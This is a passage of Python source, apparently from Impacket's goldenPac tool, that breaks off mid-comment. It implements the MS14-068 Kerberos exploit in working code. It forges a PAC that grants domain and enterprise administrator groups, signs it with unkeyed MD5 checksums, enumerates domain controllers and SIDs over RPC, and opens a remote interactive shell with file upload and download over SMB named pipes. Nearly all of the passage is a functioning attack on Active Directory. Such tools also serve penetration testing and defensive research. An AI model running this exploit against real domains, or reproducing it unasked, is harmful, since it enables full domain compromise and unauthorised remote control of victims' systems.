packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])\n            if self.__path is not None:\n                packet['WorkingDir'] = self.__path\n            packet['Command'] = self.__command\n            packet['ProcessID'] = pid\n\n            s.writeNamedPipe(tid, fid_main, packet.getData())\n\n            # Here we'll store the command we type so we don't print it back ;)\n            # ( I know.. globals are nasty :P )\n            global LastDataSent\n            LastDataSent = ''\n\n            # Create the pipes threads\n            stdin_pipe = RemoteStdInPipe(rpctransport,\n                                         r'\\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),\n                                         smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS,\n                                         installService.getShare())\n            stdin_pipe.start()\n            stdout_pipe = RemoteStdOutPipe(rpctransport,\n                                           r'\\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),\n                                           smb.FILE_READ_DATA)\n            stdout_pipe.start()\n            stderr_pipe = RemoteStdErrPipe(rpctransport,\n                                           r'\\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),\n                                           smb.FILE_READ_DATA)\n            stderr_pipe.start()\n            \n            # And we stay here till the end\n            ans = s.readNamedPipe(tid,fid_main,8)\n\n            if len(ans):\n                retCode = RemComResponse(ans)\n                logging.info(\"Process %s finished with ErrorCode: %d, ReturnCode: %d\" % (\n                self.__command, retCode['ErrorCode'], retCode['ReturnCode']))\n            installService.uninstall()\n            if self.__copyFile is not None:\n                # We copied a file for execution, let's remove it\n                s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))\n            unInstalled = True\n            sys.exit(retCode['ErrorCode'])\n\n        except SystemExit:\n            raise\n        except Exception as e:\n            logging.debug(str(e))\n            if unInstalled is False:\n                installService.uninstall()\n                if self.__copyFile is not None:\n                    s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))\n            sys.stdout.flush()\n            sys.exit(1)\n\n    def openPipe(self, s, tid, pipe, accessMask):\n        pipeReady = False\n        tries = 50\n        while pipeReady is False and tries > 0:\n            try:\n                s.waitNamedPipe(tid,pipe)\n                pipeReady = True\n            except Exception as e:\n                print(str(e))\n                tries -= 1\n                time.sleep(2)\n                pass\n\n        if tries == 0:\n            raise Exception('Pipe not ready, aborting')\n\n        fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)\n\n        return fid\n\nclass Pipes(Thread):\n    def __init__(self, transport, pipe, permissions, TGS=None, share=None):\n        Thread.__init__(self)\n        self.server = 0\n        self.transport = transport\n        self.credentials = transport.get_credentials()\n        self.tid = 0\n        self.fid = 0\n        self.share = share\n        self.port = transport.get_dport()\n        self.pipe = pipe\n        self.permissions = permissions\n        self.TGS = TGS\n        self.daemon = True\n\n    def connectPipe(self):\n        try:\n            lock.acquire()\n            global dialect\n            self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),\n                                        sess_port=self.port, preferredDialect=dialect)\n            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials\n            self.server.login(user, passwd, domain, lm, nt)\n            lock.release()\n            self.tid = self.server.connectTree('IPC$') \n\n            self.server.waitNamedPipe(self.tid, self.pipe)\n            self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)\n            self.server.setTimeout(1000000)\n        except:\n            logging.critical(\"Something wen't wrong connecting the pipes(%s), try again\" % self.__class__)\n\n\nclass RemoteStdOutPipe(Pipes):\n    def __init__(self, transport, pipe, permisssions):\n        Pipes.__init__(self, transport, pipe, permisssions)\n\n    def run(self):\n        self.connectPipe()\n        while True:\n            try:\n                ans = self.server.readFile(self.tid,self.fid, 0, 1024)\n            except:\n                pass\n            else:\n                try:\n                        global LastDataSent\n                        if ans != LastDataSent:\n                            sys.stdout.write(ans.decode('cp437'))\n                            sys.stdout.flush()\n                        else:\n                            # Don't echo what I sent, and clear it up\n                            LastDataSent = ''\n                        # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, \n                        # it will give false positives tho.. we should find a better way to handle this.\n                        if LastDataSent > 10:\n                            LastDataSent = ''\n                except:\n                    pass\n\nclass RemoteStdErrPipe(Pipes):\n    def __init__(self, transport, pipe, permisssions):\n        Pipes.__init__(self, transport, pipe, permisssions)\n\n    def run(self):\n        self.connectPipe()\n        while True:\n            try:\n                ans = self.server.readFile(self.tid,self.fid, 0, 1024)\n            except:\n                pass\n            else:\n                try:\n                    sys.stderr.write(str(ans))\n                    sys.stderr.flush()\n                except:\n                    pass\n\nclass RemoteShell(cmd.Cmd):\n    def __init__(self, server, port, credentials, tid, fid, TGS, share):\n        cmd.Cmd.__init__(self, False)\n        self.prompt = '\\x08'\n        self.server = server\n        self.transferClient = None\n        self.tid = tid\n        self.fid = fid\n        self.credentials = credentials\n        self.share = share\n        self.port = port\n        self.TGS = TGS\n        self.intro = '[!] Press help for extra shell commands'\n\n    def connect_transferClient(self):\n        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,\n                                            preferredDialect=dialect)\n        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials\n        self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)\n\n    def do_help(self, line):\n        print(\"\"\"\n lcd {path}                 - changes the current local directory to {path}\n exit                       - terminates the server process (and this session)\n put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)\n get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir \n ! {cmd}                    - executes a local shell cmd\n\"\"\" % (self.share, self.share))\n        self.send_data('\\r\\n', False)\n\n    def do_shell(self, s):\n        os.system(s)\n        self.send_data('\\r\\n')\n\n    def do_get(self, src_path):\n        try:\n            if self.transferClient is None:\n                self.connect_transferClient()\n\n            import ntpath\n            filename = ntpath.basename(src_path)\n            fh = open(filename,'wb')\n            logging.info(\"Downloading %s\\\\%s\" % (self.share, src_path))\n            self.transferClient.getFile(self.share, src_path, fh.write)\n            fh.close()\n        except Exception as e:\n            logging.error(str(e))\n            pass\n\n        self.send_data('\\r\\n')\n \n    def do_put(self, s):\n        try:\n            if self.transferClient is None:\n                self.connect_transferClient()\n            params = s.split(' ')\n            if len(params) > 1:\n                src_path = params[0]\n                dst_path = params[1]\n            elif len(params) == 1:\n                src_path = params[0]\n                dst_path = '/'\n\n            src_file = os.path.basename(src_path)\n            fh = open(src_path, 'rb')\n            f = dst_path + '/' + src_file\n            pathname = f.replace('/','\\\\')\n            logging.info(\"Uploading %s to %s\\\\%s\" % (src_file, self.share, dst_path))\n            if PY3:\n                self.transferClient.putFile(self.share, pathname, fh.read)\n            else:\n                self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)\n            fh.close()\n        except Exception as e:\n            logging.error(str(e))\n            pass\n\n        self.send_data('\\r\\n')\n\n\n    def do_lcd(self, s):\n        if s == '':\n            print(os.getcwd())\n        else:\n            try:\n                os.chdir(s)\n            except Exception as e:\n                logging.error(str(e))\n        self.send_data('\\r\\n')\n\n    def emptyline(self):\n        self.send_data('\\r\\n')\n        return\n\n    def default(self, line):\n        if PY3:\n            self.send_data(line.encode('cp437')+b'\\r\\n')\n        else:\n            self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\\r\\n')\n\n    def send_data(self, data, hideOutput = True):\n        if hideOutput is True:\n            global LastDataSent\n            LastDataSent = data\n        else:\n            LastDataSent = ''\n        self.server.writeFile(self.tid, self.fid, data)\n\n\nclass RemoteStdInPipe(Pipes):\n    def __init__(self, transport, pipe, permisssions, TGS=None, share=None):\n        Pipes.__init__(self, transport, pipe, permisssions, TGS, share)\n\n    def run(self):\n        self.connectPipe()\n        shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)\n        shell.cmdloop()\n\n\nclass MS14_068:\n    # 6.1.  Unkeyed Checksums\n    # Vulnerable DCs are accepting at least these unkeyed checksum types\n    CRC_32  = 1\n    RSA_MD4 = 2\n    RSA_MD5 = 7\n    class VALIDATION_INFO(TypeSerialization1):\n        structure = (\n            ('Data', PKERB_VALIDATION_INFO),\n        )\n\n    def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='',\n                 copyFile=None, writeTGT=None, kdcHost=None):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__rid = 0\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__target = target\n        self.__targetIp = targetIp\n        self.__kdcHost = None\n        self.__copyFile = copyFile\n        self.__command = command\n        self.__writeTGT = writeTGT\n        self.__domainSid = ''\n        self.__forestSid = None\n        self.__domainControllers = list()\n        self.__kdcHost = kdcHost\n\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n            self.__lmhash = unhexlify(self.__lmhash)\n            self.__nthash = unhexlify(self.__nthash)\n\n    def getGoldenPAC(self, authTime):\n        # Ok.. we need to build a PAC_TYPE with the following items\n\n        # 1) KERB_VALIDATION_INFO\n        aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))\n\n        unixTime = smb.POSIXtoFT(aTime)\n\n        kerbdata = KERB_VALIDATION_INFO()\n\n        kerbdata['LogonTime']['dwLowDateTime']           = unixTime & 0xffffffff\n        kerbdata['LogonTime']['dwHighDateTime']          = unixTime >>32\n\n        # LogoffTime: A FILETIME structure that contains the time the client's logon \n        # session should expire. If the session should not expire, this structure \n        # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime \n        # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as \n        # an indicator of when to warn the user that the allowed time is due to expire.\n        kerbdata['LogoffTime']['dwLowDateTime']          = 0xFFFFFFFF\n        kerbdata['LogoffTime']['dwHighDateTime']         = 0x7FFFFFFF\n\n        # KickOffTime: A FILETIME structure that contains LogoffTime minus the user \n        # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the \n        # client should not be logged off, this structure SHOULD have the dwHighDateTime \n        # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. \n        # The Kerberos service ticket end time is a replacement for KickOffTime. \n        # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of \n        # an account. A recipient of the PAC SHOULD<8> use this value as the indicator \n        # of when the client should be forcibly disconnected.\n        kerbdata['KickOffTime']['dwLowDateTime']         = 0xFFFFFFFF\n        kerbdata['KickOffTime']['dwHighDateTime']        = 0x7FFFFFFF\n\n        kerbdata['PasswordLastSet']['dwLowDateTime']     = 0\n        kerbdata['PasswordLastSet']['dwHighDateTime']    = 0\n\n        kerbdata['PasswordCanChange']['dwLowDateTime']   = 0\n        kerbdata['PasswordCanChange']['dwHighDateTime']  = 0\n        \n        # PasswordMustChange: A FILETIME structure that contains the time at which\n        # theclient's password expires. If the password will not expire, this \n        # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the \n        # dwLowDateTime member set to 0xFFFFFFFF.\n        kerbdata['PasswordMustChange']['dwLowDateTime']  = 0xFFFFFFFF\n        kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF\n\n        kerbdata['EffectiveName']      = self.__username\n        kerbdata['FullName']           = ''\n        kerbdata['LogonScript']        = ''\n        kerbdata['ProfilePath']        = ''\n        kerbdata['HomeDirectory']      = ''\n        kerbdata['HomeDirectoryDrive'] = ''\n        kerbdata['LogonCount']         = 0\n        kerbdata['BadPasswordCount']   = 0\n        kerbdata['UserId']             = self.__rid\n        kerbdata['PrimaryGroupId']     = 513\n        \n        # Our Golden Well-known groups! :)\n        groups = (513, 512, 520, 518, 519)\n        kerbdata['GroupCount']         = len(groups)\n\n        for group in groups:\n            groupMembership = GROUP_MEMBERSHIP()\n            groupId = NDRULONG()\n            groupId['Data'] = group\n            groupMembership['RelativeId'] = groupId\n            groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED\n            kerbdata['GroupIds'].append(groupMembership)\n\n        kerbdata['UserFlags']         = 0\n        kerbdata['UserSessionKey']    = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        kerbdata['LogonServer']       = ''\n        kerbdata['LogonDomainName']   = self.__domain\n        kerbdata['LogonDomainId']     = self.__domainSid\n        kerbdata['LMKey']             = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD\n        kerbdata['SubAuthStatus']     = 0\n        kerbdata['LastSuccessfulILogon']['dwLowDateTime']  = 0\n        kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0\n        kerbdata['LastFailedILogon']['dwLowDateTime']      = 0\n        kerbdata['LastFailedILogon']['dwHighDateTime']     = 0\n        kerbdata['FailedILogonCount'] = 0\n        kerbdata['Reserved3']         = 0\n\n        # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is \n        # asserted by an authentication authority based on proof of possession of client credentials.\n        #extraSids = ('S-1-18-1',)\n        if self.__forestSid is not None:\n            extraSids = ('%s-%s' % (self.__forestSid, '519'),)\n            kerbdata['SidCount']          = len(extraSids)\n            kerbdata['UserFlags'] |= 0x20\n        else:\n            extraSids = ()\n            kerbdata['SidCount']          = len(extraSids)\n        \n        for extraSid in extraSids:\n            sidRecord = KERB_SID_AND_ATTRIBUTES()\n            sid = RPC_SID()\n            sid.fromCanonical(extraSid)\n            sidRecord['Sid'] = sid\n            sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED\n            kerbdata['ExtraSids'].append(sidRecord)\n\n        kerbdata['ResourceGroupDomainSid'] = NULL\n        kerbdata['ResourceGroupCount'] = 0\n        kerbdata['ResourceGroupIds'] = NULL\n            \n        validationInfo = self.VALIDATION_INFO()\n        validationInfo['Data'] = kerbdata\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('VALIDATION_INFO')\n            validationInfo.dump()\n            print ('\\n')\n\n        validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()\n        validationInfoAlignment = b'\\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))\n\n        # 2) PAC_CLIENT_INFO\n        pacClientInfo = PAC_CLIENT_INFO()\n        pacClientInfo['ClientId'] = unixTime\n        try:\n            name = self.__username.encode('utf-16le')\n        except UnicodeDecodeError:\n            import sys\n            name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')\n        pacClientInfo['NameLength'] = len(name)\n        pacClientInfo['Name'] = name\n        pacClientInfoBlob = pacClientInfo.getData()\n        pacClientInfoAlignment = b'\\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))\n\n        # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA\n        serverChecksum = PAC_SIGNATURE_DATA()\n\n        # If you wanna do CRC32, uncomment this\n        #serverChecksum['SignatureType'] = self.CRC_32\n        #serverChecksum['Signature'] = b'\\x00'*4\n\n        # If you wanna do MD4, uncomment this\n        #serverChecksum['SignatureType'] = self.RSA_MD4\n        #serverChecksum['Signature'] = b'\\x00'*16\n\n        # If you wanna do MD5, uncomment this\n        serverChecksum['SignatureType'] = self.RSA_MD5\n        serverChecksum['Signature'] = b'\\x00'*16\n\n        serverChecksumBlob = serverChecksum.getData()\n        serverChecksumAlignment = b'\\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))\n\n        # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA\n        privSvrChecksum = PAC_SIGNATURE_DATA()\n\n        # If you wanna do CRC32, uncomment this\n        #privSvrChecksum['SignatureType'] = self.CRC_32\n        #privSvrChecksum['Signature'] = b'\\x00'*4\n\n        # If you wanna do MD4, uncomment this\n        #privSvrChecksum['SignatureType'] = self.RSA_MD4\n        #privSvrChecksum['Signature'] = b'\\x00'*16\n\n        # If you wanna do MD5, uncomment this\n        privSvrChecksum['SignatureType'] = self.RSA_MD5\n        privSvrChecksum['Signature'] = b'\\x00'*16\n\n        privSvrChecksumBlob = privSvrChecksum.getData()\n        privSvrChecksumAlignment = b'\\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))\n\n        # The offset are set from the beginning of the PAC_TYPE\n        # [MS-PAC] 2.4 PAC_INFO_BUFFER\n        offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4\n\n        # Let's build the PAC_INFO_BUFFER for each one of the elements\n        validationInfoIB = PAC_INFO_BUFFER()\n        validationInfoIB['ulType'] = PAC_LOGON_INFO\n        validationInfoIB['cbBufferSize'] =  len(validationInfoBlob)\n        validationInfoIB['Offset'] = offsetData\n        offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8\n\n        pacClientInfoIB = PAC_INFO_BUFFER()\n        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE\n        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)\n        pacClientInfoIB['Offset'] = offsetData\n        offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8\n\n        serverChecksumIB = PAC_INFO_BUFFER()\n        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM\n        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)\n        serverChecksumIB['Offset'] = offsetData\n        offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8\n\n        privSvrChecksumIB = PAC_INFO_BUFFER()\n        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM\n        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)\n        privSvrChecksumIB['Offset'] = offsetData\n        #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8\n\n        # Building the PAC_TYPE as specified in [MS-PAC]\n        buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \\\n            privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \\\n            pacClientInfo.getData() + pacClientInfoAlignment\n        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment\n\n        pacType = PACTYPE()\n        pacType['cBuffers'] = 4\n        pacType['Version'] = 0\n        pacType['Buffers'] = buffers + buffersTail\n\n        blobToChecksum = pacType.getData()\n\n        # If you want to do CRC-32, ucomment this\n        #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)\n        #privSvrChecksum['Signature'] =  struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)\n\n        # If you want to do MD4, ucomment this\n        #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()\n        #privSvrChecksum['Signature'] =  MD4.new(serverChecksum['Signature']).digest()\n\n        # If you want to do MD5, ucomment this\n        serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()\n        privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest() \n\n        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment\n        pacType['Buffers'] = buffers + buffersTail\n\n        authorizationData = AuthorizationData()\n        authorizationData[0] = noValue\n        authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)\n        authorizationData[0]['ad-data'] = pacType.getData()\n        return encoder.encode(authorizationData)\n\n    def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime):\n        # Get out Golden PAC\n        goldenPAC = self.getGoldenPAC(authTime)\n\n        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]\n\n        # Extract the ticket from the TGT\n        ticket = Ticket()\n        ticket.from_asn1(decodedTGT['ticket'])\n\n        # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT\n        ifRelevant = AD_IF_RELEVANT()\n        ifRelevant[0] = noValue\n        ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value)\n        ifRelevant[0]['ad-data'] = goldenPAC\n\n        encodedIfRelevant = encoder.encode(ifRelevant)\n\n        # Key Usage 4\n        # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with\n        # the TGS session key (Section 5.4.1)\n        encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None)\n\n        tgsReq = TGS_REQ()\n        reqBody = seq_set(tgsReq, 'req-body')\n\n        opts = list()\n        opts.append( constants.KDCOptions.forwardable.value )\n        opts.append( constants.KDCOptions.renewable.value )\n        opts.append( constants.KDCOptions.proxiable.value )\n\n        reqBody['kdc-options'] = constants.encodeFlags(opts)\n        seq_set(reqBody, 'sname', serverName.components_to_asn1)\n        reqBody['realm'] = decodedTGT['crealm'].prettyPrint()\n\n        now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)\n\n        reqBody['till'] = KerberosTime.to_asn1(now)\n        reqBody['nonce'] = random.SystemRandom().getrandbits(31)\n        seq_set_iter(reqBody, 'etype', (cipher.enctype,))\n        reqBody['enc-authorization-data'] = noValue\n        reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)\n        reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant\n\n        apReq = AP_REQ()\n        apReq['pvno'] = 5\n        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n        opts = list()\n        apReq['ap-options'] =  constants.encodeFlags(opts)\n        seq_set(apReq,'ticket', ticket.to_asn1)\n\n        authenticator = Authenticator()\n        authenticator['authenticator-vno'] = 5\n        authenticator['crealm'] = decodedTGT['crealm'].prettyPrint()\n\n        clientName = Principal()\n        clientName.from_asn1( decodedTGT, 'crealm', 'cname')\n\n        seq_set(authenticator, 'cname', clientName.components_to_asn1)\n\n        now = datetime.datetime.now(datetime.timezone.utc)\n        authenticator['cusec'] =  now.microsecond\n        authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n        encodedAuthenticator = encoder.encode(authenticator)\n\n        # Key Usage 7\n        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes\n        # TGS authenticator subkey), encrypted with the TGS session\n        # key (Section 5.5.1)\n        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)\n\n        apReq['authenticator'] = noValue\n        apReq['authenticator']['etype'] = cipher.enctype\n        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n        encodedApReq = encoder.encode(apReq)\n\n        tgsReq['pvno'] =  5\n        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)\n        tgsReq['padata'] = noValue\n        tgsReq['padata'][0] = noValue\n        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)\n        tgsReq['padata'][0]['padata-value'] = encodedApReq\n\n        pacRequest = KERB_PA_PAC_REQUEST()\n        pacRequest['include-pac'] = False\n        encodedPacRequest = encoder.encode(pacRequest)\n\n        tgsReq['padata'][1] = noValue\n        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)\n        tgsReq['padata'][1]['padata-value'] = encodedPacRequest\n\n        message = encoder.encode(tgsReq)\n\n        r = sendReceive(message, domain, kdcHost)\n\n        # Get the session key\n        tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]\n        cipherText = tgs['enc-part']['cipher']\n\n        # Key Usage 8\n        # TGS-REP encrypted part (includes application session\n        # key), encrypted with the TGS session key (Section 5.4.2)\n        plainText = cipher.decrypt(sessionKey, 8, cipherText)\n\n        encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]\n\n        newSessionKey = Key(cipher.enctype, encTGSRepPart['key']['keyvalue'].asOctets())\n    \n        return r, cipher, sessionKey, newSessionKey\n\n    def getForestSid(self):\n        logging.debug('Calling NRPC DsrGetDcNameEx()')\n\n        stringBinding = r'ncacn_np:%s[\\pipe\\netlogon]' % self.__kdcHost\n\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(MSRPC_UUID_NRPC)\n\n        resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)\n        forestName = resp['DomainControllerInfo']['DnsForestName'][:-1]\n        logging.debug('DNS Forest name is %s' % forestName)\n        dce.disconnect()\n\n        logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')\n\n        stringBinding = r'ncacn_np:%s[\\pipe\\lsarpc]' % forestName\n\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(MSRPC_UUID_LSAT)\n\n        resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)\n        policyHandle = resp['PolicyHandle']\n\n        resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)\n        dce.disconnect()\n\n        forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()\n        logging.info(\"Forest SID: %s\"% forestSid)\n\n        return forestSid\n\n    def getDomainControllers(self):\n        logging.debug('Calling DRSDomainControllerInfo()')\n\n        stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp')\n\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n        dce = rpctransport.get_dce_rpc()\n        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)\n        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n        dce.connect()\n        dce.bind(MSRPC_UUID_DRSUAPI)\n\n        request = DRSBind()\n        request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID\n        drs = DRS_EXTENSIONS_INT()\n        drs['cb'] = len(drs) #- 4\n        drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION\n        drs['SiteObjGuid'] = NULLGUID\n        drs['Pid'] = 0\n        drs['dwReplEpoch'] = 0\n        drs['dwFlagsExt'] = 0\n        drs['ConfigObjGUID'] = NULLGUID\n        drs['dwExtCaps'] = 127\n        request['pextClient']['cb'] = len(drs.getData())\n        request['pextClient']['rgb'] = list(drs.getData())\n        resp = dce.request(request)\n\n        dcs = hDRSDomainControllerInfo(dce,  resp['phDrs'], self.__domain, 1)\n\n        dce.disconnect()\n        domainControllers = list()\n        for dc in dcs['pmsgOut']['V1']['rItems']:\n            logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1])\n            domainControllers.append(dc['DnsHostName'][:-1])\n\n        return domainControllers\n\n    def getUserSID(self):\n        stringBinding = r'ncacn_np:%s[\\pipe\\samr]' % self.__kdcHost\n\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(samr.MSRPC_UUID_SAMR)\n        resp = samr.hSamrConnect(dce)\n        serverHandle = resp['ServerHandle']\n        resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain)\n        domainId = resp['DomainId']\n        resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId)\n        domainHandle = resp['DomainHandle']\n        resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,))\n        # Let's pick the relative ID\n        rid = resp['RelativeIds']['Element'][0]['Data']\n        logging.info(\"User SID: %s-%s\"% (domainId.formatCanonical(), rid))\n        return domainId, rid\n\n    def exploit(self):\n        if self.__kdcHost is None:\n            getDCs = True\n            self.__kdcHost = self.__domain\n        else:\n            getDCs = False\n\n        self.__domainSid, self.__rid = self.getUserSID()\n        try:\n            self.__forestSid = self.getForestSid()\n        except Exception as e:\n            # For some reason we couldn't get the forest data. No problem, we can still continue\n            # Only drawback is we won't get forest admin if successful\n            logging.error('Couldn\\'t get forest info (%s), continuing' % str(e))\n            self.__forestSid = None\n\n        if getDCs is False:\n            # User specified a DC already, no need to get the list\n            self.__domainControllers.append(self.__kdcHost)\n        else:\n            self.__domainControllers = self.getDomainControllers()\n\n        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n        for dc in self.__domainControllers:\n            logging.info('Attacking domain controller %s' % dc)\n            self.__kdcHost = dc\n            exception = None\n            while True:\n                try:\n                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,\n                                                                            self.__lmhash, self.__nthash, None,\n                                                                            self.__kdcHost, requestPAC=False)\n                except KerberosError as e:\n                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:\n                        # We might face this if the target does not support AES (most probably\n                        # Windows XP). So, if that's the case we'll force using RC4 by converting\n                        # the password to lm/nt hashes and hope for the best. If that's already\n                        # done, 